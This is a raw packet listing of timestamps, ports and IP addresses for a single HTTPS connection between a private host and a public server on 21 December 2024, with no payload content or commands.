Dec 21, 2024 19:24:49.590006113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.590342045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.590367079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.590543985 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.590565920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.590643883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.590720892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.591029882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.591061115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.591257095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.591284037 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.591304064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.591434956 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.591986895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592015028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592149973 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592214108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592215061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592236996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592386961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592442989 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592467070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592608929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592608929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592652082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592673063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.592751026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592827082 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.592983007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.593007088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.593127966 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.593213081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.593213081 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.593228102 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.593460083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594274044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.594295979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.594425917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594518900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594518900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594543934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.594683886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594707966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.594729900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.594856024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594901085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594901085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.594923019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.595009089 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595062017 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595323086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.595344067 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.595475912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595552921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595570087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.595629930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595798016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.595822096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.595841885 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596060038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596188068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596194983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596209049 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596359015 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596558094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596580029 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596671104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596750975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596807957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596925020 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.596959114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.596959114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597054958 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597069979 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.597162962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597246885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597280025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.597304106 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.597466946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597486973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.597536087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597536087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.597712994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598077059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598098993 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598217964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598377943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598407030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598547935 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598650932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598681927 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598797083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598797083 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598839045 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598855972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.598892927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.598892927 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599026918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599353075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.599374056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.599561930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599562883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599582911 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.599632025 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599751949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.599926949 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.599947929 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.600042105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600156069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600173950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.600219965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600363970 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600418091 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.600438118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.600558043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600558043 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600606918 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600622892 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.600706100 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.600805998 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601052999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.601073027 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.601211071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601211071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601258993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601275921 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.601356030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601406097 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601679087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.601699114 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.601838112 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601937056 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.601958036 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.602092981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.602247953 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.602268934 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.602448940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.602448940 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.602473974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.602484941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.602552891 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.602725983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.603001118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.603020906 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.603259087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.603259087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.603281975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.603477955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.603529930 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.603559971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.603856087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.604120970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.604223967 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.604238033 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.604347944 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.604451895 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.604770899 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.604792118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.604995012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605011940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.605062008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605292082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.605315924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.605437994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605462074 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.605484009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605531931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605591059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.605978966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.605998993 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.606125116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606125116 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606154919 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.606172085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606172085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606192112 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.606221914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606322050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606322050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.606367111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.608021975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.608043909 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.608566999 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.608582973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.608638048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.608746052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.608752966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.608825922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.608902931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.608995914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609154940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609170914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609524965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609524965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609524965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609540939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609549999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609658957 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609699011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609853983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.609873056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.609997988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610094070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.610110044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.610270977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610270977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610388041 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610408068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.610631943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610687017 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.610702991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.610860109 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610923052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610923052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.610939026 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.611076117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.611236095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.611252069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.611427069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.611427069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.611444950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.611547947 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.611638069 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.611974955 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.611991882 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.612149000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612149000 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612195015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612211943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.612240076 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612404108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612530947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.612548113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.612713099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612713099 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612730980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.612780094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612859964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.612859964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.613070011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.613095999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.613209009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.613322020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.613338947 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.613390923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.613492012 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.613773108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.613790035 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614029884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614048004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614058018 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614162922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614170074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614170074 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614187956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614265919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614340067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614388943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614758968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614774942 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.614978075 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.614993095 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.615065098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.615143061 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.615385056 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.615401030 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.615628004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.615642071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.615717888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.615793943 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616045952 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616063118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616187096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616187096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616316080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616316080 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616331100 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616493940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616513968 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616547108 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.616558075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.616883993 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617034912 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617139101 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617155075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617286921 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617432117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617444038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617496014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617641926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617660999 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617747068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617760897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.617809057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617809057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617856979 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617908955 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.617954016 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618185043 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618211031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618382931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618382931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618395090 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618524075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618525028 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618563890 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618575096 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618586063 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.618711948 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.618822098 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619287014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.619301081 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.619420052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619498014 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619508982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.619545937 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619710922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619735956 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.619749069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.619874954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619874954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619927883 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.619937897 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.620049953 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620100021 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620564938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.620579004 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.620719910 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620769024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620769024 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620778084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.620814085 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.620816946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620817900 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.620923996 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.621109962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.621115923 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.621239901 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.621395111 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.621505022 CET	443	49766	172.67.184.254	192.168.11.20
